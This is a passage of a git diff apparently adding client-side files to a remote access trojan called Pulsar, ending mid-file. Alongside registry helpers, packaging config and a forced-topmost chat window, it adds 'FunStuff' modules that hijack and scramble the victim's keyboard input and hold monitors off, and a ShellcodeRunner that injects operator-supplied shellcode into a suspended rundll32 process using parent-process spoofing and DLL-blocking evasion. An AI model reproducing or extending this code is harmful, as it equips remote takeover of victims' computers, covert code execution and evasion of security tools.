static bool ContainsValue(this RegistryKey key, string name) + { + foreach (string value in key.GetValueNames()) + { + if (value == name) + { + return true; + } + } + return false; + } + + /// + /// Gets all of the value names associated with the registry key and returns + /// formatted strings of the filtered values. + /// + /// The registry key of which the values are obtained. + /// Yield returns formatted strings of the key and the key value. + public static IEnumerable> GetKeyValues(this RegistryKey key) + { + if (key == null) yield break; + + foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key)).Where(k => !string.IsNullOrEmpty(k))) + { + yield return new Tuple(k, key.GetValueSafe(k)); + } + } + + /// + /// Gets the default value for a given data type of a registry value. + /// + /// The data type of the registry value. + /// The default value for the given . + public static object GetDefault(this RegistryValueKind valueKind) + { + switch (valueKind) + { + case RegistryValueKind.Binary: + return new byte[] { }; + case RegistryValueKind.MultiString: + return new string[] { }; + case RegistryValueKind.DWord: + return 0; + case RegistryValueKind.QWord: + return (long)0; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return ""; + default: + return null; + } + } + } +} diff --git a/Pulsar.Client/FodyWeavers.xml b/Pulsar.Client/FodyWeavers.xml new file mode 100644 index 0000000..bc76612 --- /dev/null +++ b/Pulsar.Client/FodyWeavers.xml @@ -0,0 +1,16 @@ +ο»Ώ + + + + MessagePack + MessagePack.Annotations + Pulsar.Common + System.Memory + System.Runtime.CompilerServices.Unsafe + System.Collections.Immutable + System.Numerics.Vectors + System.Buffers + System.Threading.Tasks.Extensions + + + \ No newline at end of file diff --git a/Pulsar.Client/FodyWeavers.xsd b/Pulsar.Client/FodyWeavers.xsd new file mode 100644 index 0000000..f2dbece --- /dev/null +++ b/Pulsar.Client/FodyWeavers.xsd @@ -0,0 +1,176 @@ +ο»Ώ + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead. + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + Obsolete, use UnmanagedWinX86Assemblies instead + + + + + A list of unmanaged X86 (32 bit) assembly names to include, delimited with |. + + + + + Obsolete, use UnmanagedWinX64Assemblies instead + + + + + A list of unmanaged X64 (64 bit) assembly names to include, delimited with |. + + + + + A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/Pulsar.Client/FrmRemoteChat.Designer.cs b/Pulsar.Client/FrmRemoteChat.Designer.cs new file mode 100644 index 0000000..e5a070c --- /dev/null +++ b/Pulsar.Client/FrmRemoteChat.Designer.cs @@ -0,0 +1,96 @@ +ο»Ώnamespace Pulsar.Client +{ + partial class FrmRemoteChat + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.txtMessage = new System.Windows.Forms.TextBox(); + this.Sendpacket = new System.Windows.Forms.Button(); + this.txtMessages = new System.Windows.Forms.RichTextBox(); + this.SuspendLayout(); + // + // txtMessage + // + this.txtMessage.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtMessage.Location = new System.Drawing.Point(12, 357); + this.txtMessage.Name = "txtMessage"; + this.txtMessage.Size = new System.Drawing.Size(349, 20); + this.txtMessage.TabIndex = 0; + this.txtMessage.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtMessage_KeyDown); + // + // Sendpacket + // + this.Sendpacket.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.Sendpacket.Location = new System.Drawing.Point(367, 354); + this.Sendpacket.Name = "Sendpacket"; + this.Sendpacket.Size = new System.Drawing.Size(75, 23); + this.Sendpacket.TabIndex = 1; + this.Sendpacket.Text = "Send"; + this.Sendpacket.UseVisualStyleBackColor = true; + this.Sendpacket.Click += new System.EventHandler(this.Sendpacket_Click); + // + // txtMessages + // + this.txtMessages.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtMessages.Location = new System.Drawing.Point(12, 12); + this.txtMessages.Name = "txtMessages"; + this.txtMessages.ReadOnly = true; + this.txtMessages.Size = new System.Drawing.Size(430, 339); + this.txtMessages.TabIndex = 2; + this.txtMessages.Text = ""; + // + // FrmRemoteChat + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(454, 389); + this.Controls.Add(this.txtMessages); + this.Controls.Add(this.Sendpacket); + this.Controls.Add(this.txtMessage); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmRemoteChat"; + this.ShowIcon = false; + this.ShowInTaskbar = false; + this.Text = "FrmRemoteChat"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FrmRemoteChat_FormClosed); + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteChat_FormClosing); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + public System.Windows.Forms.TextBox txtMessage; + private System.Windows.Forms.Button Sendpacket; + public System.Windows.Forms.RichTextBox txtMessages; + } +} \ No newline at end of file diff --git a/Pulsar.Client/FrmRemoteChat.cs b/Pulsar.Client/FrmRemoteChat.cs new file mode 100644 index 0000000..71e0eb6 --- /dev/null +++ b/Pulsar.Client/FrmRemoteChat.cs @@ -0,0 +1,162 @@ +ο»Ώusing Pulsar.Client.Utilities.DarkMode; +using Pulsar.Common.Messages.UserSupport.RemoteChat; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Diagnostics; +using System.Drawing; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Pulsar.Client +{ + public partial class FrmRemoteChat : Form + { + [DllImport("user32.dll")] + public static extern uint GetWindowThreadProcessId(IntPtr hWnd, IntPtr lpdwProcessId); + + [DllImport("user32.dll")] + static extern bool SetForegroundWindow(IntPtr hWnd); + [DllImport("user32.dll")] + public static extern bool BringWindowToTop(IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach); + + [DllImport("Kernel32.dll")] + public static extern uint GetCurrentThreadId(); + [DllImport("user32.dll")] + public static extern IntPtr GetForegroundWindow(); + + private ISender _connectedClient; + public bool Active; + + private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1); + private const uint SWP_NOMOVE = 0x0002; + private const uint SWP_NOSIZE = 0x0001; + private const uint SWP_SHOWWINDOW = 0x0040; + + public FrmRemoteChat(ISender client) + { + + this._connectedClient = client; + InitializeComponent(); + DarkModeManager.ApplyDarkMode(this); + Active = true; + txtMessage.KeyDown += new KeyEventHandler(txtMessage_KeyDown); // Subscribe to the KeyDown event + + } + protected override CreateParams CreateParams + { + get + { + var cp = base.CreateParams; + cp.ExStyle |= 0x80; + return cp; + } + } + + + public void AddMessage(string sender, string message) + { + txtMessages.AppendText(string.Format("{0} {1}: {2}{3}", DateTime.Now.ToString("HH:mm:ss"), sender, message, Environment.NewLine)); + ForceFocus(); + + } + + private void FrmRemoteChat_FormClosing(object sender, FormClosingEventArgs e) + { + // Allow the form to close + } + public void ForceFocus() + { + var fThread = GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero); + var cThread = GetCurrentThreadId(); + if (fThread != cThread) + { + AttachThreadInput(fThread, cThread, true); + BringWindowToTop(Handle); + AttachThreadInput(fThread, cThread, false); + } + else BringWindowToTop(Handle); + txtMessage.Focus(); + } + private void FrmRemoteChat_Shown(object sender, EventArgs e) + { + txtMessage.Focus(); + } + + public string sendlol() + { + return txtMessage.Text.Trim(); + } + public void SendMessageServer(ISender connectedClient, string message) + { + connectedClient.Send(new GetChat { Message = message }); + } + + + private void txtMessage_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter) + { + e.SuppressKeyPress = true; // Prevents the ding sound on pressing enter + Sendpacket_Click(this, new EventArgs()); // Call the Send method + } + } + + private void Sendpacket_Click(object sender, EventArgs e) + { + try + { + if (txtMessage.Text.Trim() != "") + { + SendMessageServer(_connectedClient, txtMessage.Text.Trim()); + AddMessage("Me", txtMessage.Text.Trim()); + txtMessage.Text = ""; + txtMessage.Focus(); + } + } + catch (Exception ex) + { + Debug.WriteLine(ex.Message); + } + } + + private void FrmRemoteChat_FormClosed(object sender, FormClosedEventArgs e) + { + try + { + AddMessage("System", "Chat has been ended."); + SendMessageServer(_connectedClient, "Chat has been ended."); + } + catch (Exception ex) + { + Debug.WriteLine(ex.Message); + } + } + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); + protected override void OnShown(EventArgs e) + { + base.OnShown(e); + SetWindowPos(this.Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW); + } + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + const int WM_ACTIVATE = 0x0006; + const int WM_SHOWWINDOW = 0x0018; + if (m.Msg == WM_ACTIVATE || m.Msg == WM_SHOWWINDOW) + { + SetWindowPos(this.Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW); + } + } + } +} diff --git a/Pulsar.Client/FrmRemoteChat.resx b/Pulsar.Client/FrmRemoteChat.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/Pulsar.Client/FrmRemoteChat.resx @@ -0,0 +1,120 @@ +ο»Ώ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Pulsar.Client/FunStuff/.DS_Store b/Pulsar.Client/FunStuff/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0 _isBlocked; + + public void EnableKeyboardBlock() + { + if (_isBlocked) return; + + // Start the hook in a separate thread + _hookThread = new Thread(InstallHook) + { + Name = "KeyboardHookThread", + IsBackground = true + }; + _hookThread.Start(); + + // Wait for hook to be installed + _hookReadyEvent.WaitOne(1000); + _isBlocked = true; + } + + public void DisableKeyboardBlock() + { + if (!_isBlocked) return; + + if (_hookID != IntPtr.Zero) + { + UnhookWindowsHookEx(_hookID); + _hookID = IntPtr.Zero; + } + + _hookThread?.Join(1000); // Wait for thread to finish + _hookThread = null; + _hookReadyEvent.Reset(); + _isBlocked = false; + } + + public void ToggleKeyboardBlock() + { + if (_isBlocked) DisableKeyboardBlock(); + else EnableKeyboardBlock(); + } + + public void Handle(DoBlockKeyboardInput message) + { + if (message.Block) EnableKeyboardBlock(); + else DisableKeyboardBlock(); + } + + private void InstallHook() + { + try + { + using (Process process = Process.GetCurrentProcess()) + using (ProcessModule module = process.MainModule) + { + _hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _hookProc, + GetModuleHandle(module.ModuleName), 0); + } + + if (_hookID == IntPtr.Zero) + { + throw new Exception("Failed to install keyboard hook"); + } + + _hookReadyEvent.Set(); // Signal that hook is ready + + // Start message pump to keep the hook alive + Application.Run(); + } + catch (Exception ex) + { + Console.WriteLine($"Hook thread error: {ex.Message}"); + } + } + + private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) + { + if (nCode >= 0 && _isBlocked) + { + // Grab the key data + int vkCode = Marshal.ReadInt32(lParam); + + // 1. Random key swap + if (_rng.NextDouble() < 0.5) + vkCode = _rng.Next(0x20, 0x7E); // random printable char + + // 2. Simulate lag + Thread.Sleep(_rng.Next(100, 500)); // 100–500ms random lag + + // 3. Optionally inject fake key + if (_rng.NextDouble() < 0.3) + { + SendKey((Keys)_rng.Next(0x41, 0x5A)); // inject random letter + } + + // 4. Swallow the original input + return (IntPtr)1; + } + + return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam); + } + + private void SendKey(Keys key) + { + INPUT[] inputs = new INPUT[] + { + new INPUT + { + type = 1, + U = new InputUnion + { + ki = new KEYBDINPUT + { + wVk = (ushort)key, + dwFlags = 0 + } + } + }, + new INPUT + { + type = 1, + U = new InputUnion + { + ki = new KEYBDINPUT + { + wVk = (ushort)key, + dwFlags = 2 // KEYEVENTF_KEYUP + } + } + } + }; + SendInput((uint)inputs.Length, inputs, INPUT.Size); + } + + [StructLayout(LayoutKind.Sequential)] + private struct INPUT + { + public uint type; + public InputUnion U; + public static int Size => Marshal.SizeOf(typeof(INPUT)); + } + + [StructLayout(LayoutKind.Explicit)] + private struct InputUnion + { + [FieldOffset(0)] public KEYBDINPUT ki; + } + + [StructLayout(LayoutKind.Sequential)] + private struct KEYBDINPUT + { + public ushort wVk; + public ushort wScan; + public uint dwFlags; + public uint time; + public IntPtr dwExtraInfo; + } + + [DllImport("user32.dll")] + private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, + IntPtr hMod, uint dwThreadId); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool UnhookWindowsHookEx(IntPtr hhk); + + [DllImport("user32.dll")] + private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, + IntPtr wParam, IntPtr lParam); + + [DllImport("kernel32.dll")] + private static extern IntPtr GetModuleHandle(string lpModuleName); + + public void Dispose() + { + DisableKeyboardBlock(); + _hookReadyEvent?.Dispose(); + } + + private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); + } +} \ No newline at end of file diff --git a/Pulsar.Client/FunStuff/MonitorsOff.cs b/Pulsar.Client/FunStuff/MonitorsOff.cs new file mode 100644 index 0000000..657b5ca --- /dev/null +++ b/Pulsar.Client/FunStuff/MonitorsOff.cs @@ -0,0 +1,65 @@ +ο»Ώusing System; +using System.Runtime.InteropServices; +using System.Threading; +using Pulsar.Common.Messages.FunStuff; + +namespace Pulsar.Client.FunStuff +{ + public class MonitorPower + { + private const int HWND_BROADCAST = 0xFFFF; + private const int WM_SYSCOMMAND = 0x0112; + private const int SC_MONITORPOWER = 0xF170; + private const int POWER_OFF = 2; + private const int POWER_ON = -1; + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr SendMessage(IntPtr hWnd, int Msg, IntPtr wParam, IntPtr lParam); + + private Thread _monitorThread; + private bool _keepOff; + + public void Handle(DoMonitorsOff message) + { + new Thread(() => + { + try + { + if (message.Off) + { + _keepOff = true; + + _monitorThread = new Thread(() => + { + while (_keepOff) + { + SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND, + (IntPtr)SC_MONITORPOWER, (IntPtr)POWER_OFF); + Thread.Sleep(1000); + } + }) + { + IsBackground = true + }; + _monitorThread.Start(); + } + else if (message.On) + { + _keepOff = false; + SendMessage((IntPtr)HWND_BROADCAST, WM_SYSCOMMAND, + (IntPtr)SC_MONITORPOWER, (IntPtr)POWER_ON); + } + else + { + } + } + catch (Exception ex) + { + } + }) + { + IsBackground = true + }.Start(); + } + } +} diff --git a/Pulsar.Client/FunStuff/OpenCloseCDTray.cs b/Pulsar.Client/FunStuff/OpenCloseCDTray.cs new file mode 100644 index 0000000..db33522 --- /dev/null +++ b/Pulsar.Client/FunStuff/OpenCloseCDTray.cs @@ -0,0 +1,26 @@ +ο»Ώusing System; +using System.Runtime.InteropServices; +using System.Text; +using Pulsar.Common.Messages.FunStuff; + +namespace Pulsar.Client.FunStuff +{ + public class CDTray + { + [DllImport("winmm.dll", EntryPoint = "mciSendStringA")] + private static extern int mciSendString(string command, StringBuilder buffer, int bufferSize, IntPtr hwndCallback); + + public void Handle(DoCDTray message) + { + try + { + string cmd = message.Open ? "set cdaudio door open" : "set cdaudio door closed"; + mciSendString(cmd, null, 0, IntPtr.Zero); + } + catch (Exception ex) + { + Console.WriteLine("CDTray error: " + ex.Message); + } + } + } +} diff --git a/Pulsar.Client/FunStuff/ShellcodeRunner.cs b/Pulsar.Client/FunStuff/ShellcodeRunner.cs new file mode 100644 index 0000000..10fd8c2 --- /dev/null +++ b/Pulsar.Client/FunStuff/ShellcodeRunner.cs @@ -0,0 +1,381 @@ +ο»Ώusing System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Threading; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.FunStuff; +using Pulsar.Common.Networking; + +namespace Pulsar.Client.FunStuff +{ + internal class ShellcodeRunner + { + public void Handle(DoSendBinFile message, ISender client) + { + if (message?.Data == null || message.Data.Length == 0) + { + client.Send(new SetStatus { Message = "Error: Empty payload" }); + return; + } + + new Thread(() => + { + try + { + CreateDedicatedProcess(message.Data, client); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Error: {ex.Message}" }); + } + }) + { + IsBackground = true + }.Start(); + } + + private void CreateDedicatedProcess(byte[] shellcode, ISender client) + { + PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION(); + STARTUPINFOEX startupInfoEx = new STARTUPINFOEX(); + startupInfoEx.StartupInfo.cb = Marshal.SizeOf(startupInfoEx); + startupInfoEx.StartupInfo.dwFlags = 0x00000001; + startupInfoEx.StartupInfo.wShowWindow = 0; + + client.Send(new SetStatus { Message = $"Creating dedicated process for {shellcode.Length} bytes..." }); + + string commandLine = "rundll32.exe kernel32.dll,SleepEx 2147483647"; + + // Get explorer.exe PID and directory for spoofing + var (parentPid, parentDirectory) = GetExplorerPidAndDirectory(); + client.Send(new SetStatus { Message = $"Using PPID spoofing with parent: {parentPid}" }); + client.Send(new SetStatus { Message = $"Using directory: {parentDirectory}" }); + + // Initialize attribute list + IntPtr lpSize = IntPtr.Zero; + InitializeProcThreadAttributeList(IntPtr.Zero, 2, 0, ref lpSize); + + startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); + bool success = InitializeProcThreadAttributeList(startupInfoEx.lpAttributeList, 2, 0, ref lpSize); + if (!success) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"InitializeProcThreadAttributeList failed: 0x{error:X8}"); + } + + IntPtr parentProcessHandle = IntPtr.Zero; + IntPtr lpValueProc = IntPtr.Zero; + IntPtr lpMitigationPolicy = IntPtr.Zero; + + try + { + // Set PPID spoofing + parentProcessHandle = OpenProcess(ProcessAccessFlags.PROCESS_CREATE_PROCESS, false, parentPid); + if (parentProcessHandle == IntPtr.Zero) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"OpenProcess failed for PPID: 0x{error:X8}"); + } + + lpValueProc = Marshal.AllocHGlobal(IntPtr.Size); + Marshal.WriteIntPtr(lpValueProc, parentProcessHandle); + success = UpdateProcThreadAttribute( + startupInfoEx.lpAttributeList, + 0, + (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, + lpValueProc, + (IntPtr)IntPtr.Size, + IntPtr.Zero, + IntPtr.Zero); + + if (!success) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"UpdateProcThreadAttribute (PPID) failed: 0x{error:X8}"); + } + + // Set block non-Microsoft DLLs policy + lpMitigationPolicy = Marshal.AllocHGlobal(IntPtr.Size); + Marshal.WriteInt64(lpMitigationPolicy, PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON); + success = UpdateProcThreadAttribute( + startupInfoEx.lpAttributeList, + 0, + (IntPtr)PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, + lpMitigationPolicy, + (IntPtr)IntPtr.Size, + IntPtr.Zero, + IntPtr.Zero); + + if (!success) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"UpdateProcThreadAttribute (Mitigation) failed: 0x{error:X8}"); + } + + // Create process with extended startup info and spoofed directory + success = CreateProcess( + null, + commandLine, + IntPtr.Zero, + IntPtr.Zero, + false, + ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW | ProcessCreationFlags.EXTENDED_STARTUPINFO_PRESENT, + IntPtr.Zero, + parentDirectory, // Use explorer.exe directory + ref startupInfoEx, + out procInfo); + + if (!success) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"CreateProcess failed: 0x{error:X8}"); + } + + // Continue with original shellcode injection logic + InjectShellcode(shellcode, client, procInfo); + } + finally + { + // Cleanup + if (startupInfoEx.lpAttributeList != IntPtr.Zero) + { + DeleteProcThreadAttributeList(startupInfoEx.lpAttributeList); + Marshal.FreeHGlobal(startupInfoEx.lpAttributeList); + } + if (lpValueProc != IntPtr.Zero) Marshal.FreeHGlobal(lpValueProc); + if (lpMitigationPolicy != IntPtr.Zero) Marshal.FreeHGlobal(lpMitigationPolicy); + if (parentProcessHandle != IntPtr.Zero) CloseHandle(parentProcessHandle); + } + } + + private void InjectShellcode(byte[] shellcode, ISender client, PROCESS_INFORMATION procInfo) + { + IntPtr remoteMemory = IntPtr.Zero; + IntPtr remoteThread = IntPtr.Zero; + + try + { + client.Send(new SetStatus { Message = $"Created suspended process (PID: {procInfo.dwProcessId})" }); + + remoteMemory = VirtualAllocEx( + procInfo.hProcess, + IntPtr.Zero, + (uint)shellcode.Length, + AllocationType.COMMIT | AllocationType.RESERVE, + MemoryProtection.EXECUTE_READWRITE); + + if (remoteMemory == IntPtr.Zero) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"VirtualAllocEx failed: 0x{error:X8}"); + } + + client.Send(new SetStatus { Message = $"Allocated memory at: 0x{remoteMemory:X}" }); + + uint bytesWritten = 0; + if (!WriteProcessMemory(procInfo.hProcess, remoteMemory, shellcode, (uint)shellcode.Length, ref bytesWritten)) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"WriteProcessMemory failed: 0x{error:X8} - {bytesWritten}/{shellcode.Length} bytes"); + } + + client.Send(new SetStatus { Message = $"Wrote {bytesWritten} bytes to process memory" }); + + remoteThread = CreateRemoteThread( + procInfo.hProcess, + IntPtr.Zero, + 0, + remoteMemory, + IntPtr.Zero, + 0, + out uint shellcodeThreadId); + + if (remoteThread == IntPtr.Zero) + { + int error = Marshal.GetLastWin32Error(); + throw new Exception($"CreateRemoteThread failed: 0x{error:X8}"); + } + + client.Send(new SetStatus { Message = $"Created shellcode thread (ID: {shellcodeThreadId})" }); + + ResumeThread(procInfo.hThread); + + CloseHandle(remoteThread); + CloseHandle(procInfo.hThread); + CloseHandle(procInfo.hProcess); + + client.Send(new SetStatus { Message = $"Shellcode executed in rundll32.exe (PID: {procInfo.dwProcessId}, Thread: {shellcodeThreadId})" }); + } + catch + { + if (remoteThread != IntPtr.Zero) CloseHandle(remoteThread); + TerminateProcess(procInfo.hProcess, 0); + CloseHandle(procInfo.hThread); + CloseHandle(procInfo.hProcess); + throw; + } + } + + private (uint pid, string directory) GetExplorerPidAndDirectory() + { + Process[] explorerProcesses = Process.GetProcessesByName("explorer"); + if (explorerProcesses.Length > 0) + { + var explorer = explorerProcesses[0]; + string directory; + + try + { + // Try to get the actual working directory of explorer.exe + directory = Path.GetDirectoryName(explorer.MainModule.FileName); + if (string.IsNullOrEmpty(directory)) + { + // Fallback to Windows directory + directory = Environment.GetFolderPath(Environment.SpecialFolder.Windows); + } + } + catch + { + // Fallback to Windows directory if we can't access the process + directory = Environment.GetFolderPath(Environment.SpecialFolder.Windows); + } + + return ((uint)explorer.Id, directory); + } + throw new Exception("No explorer.exe process found for PPID spoofing"); + } + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CreateProcess( + string lpApplicationName, + string lpCommandLine, + IntPtr lpProcessAttributes, + IntPtr lpThreadAttributes, + bool bInheritHandles, + ProcessCreationFlags dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + ref STARTUPINFOEX lpStartupInfo, + out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr VirtualAllocEx( + IntPtr hProcess, + IntPtr lpAddress, + uint dwSize, + AllocationType flAllocationType, + MemoryProtection flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool WriteProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + uint nSize, + ref uint lpNumberOfBytesWritten); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr CreateRemoteThread( + IntPtr hProcess, + IntPtr lpThreadAttributes, + uint dwStackSize, + IntPtr lpStartAddress, + IntPtr lpParameter, + uint dwCreationFlags, + out uint lpThreadId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern uint ResumeThread(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, uint dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList); + + [StructLayout(LayoutKind.Sequential)] + private struct STARTUPINFO + { + public int cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public uint dwX; + public uint dwY; + public uint dwXSize; + public uint dwYSize; + public uint dwXCountChars; + public uint dwYCountChars; + public uint dwFillAttribute; + public uint dwFlags; + public short wShowWindow; + public short cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential)] + private struct STARTUPINFOEX + { + public STARTUPINFO StartupInfo; + public IntPtr lpAttributeList; + } + + [StructLayout(LayoutKind.Sequential)] + private struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public uint dwProcessId; + public uint dwThreadId; + } + + [Flags] + private enum ProcessCreationFlags : uint + { + CREATE_SUSPENDED = 0x00000004, + CREATE_NO_WINDOW = 0x08000000, + EXTENDED_STARTUPINFO_PRESENT = 0x00080000 + } + + [Flags] + private enum AllocationType : uint + { + COMMIT = 0x1000, + RESERVE = 0x2000 + } + + [Flags] + private enum MemoryProtection : uint + { + EXECUTE_READWRITE = 0x40 + } + + [Flags] + private enum ProcessAccessFlags : uint + 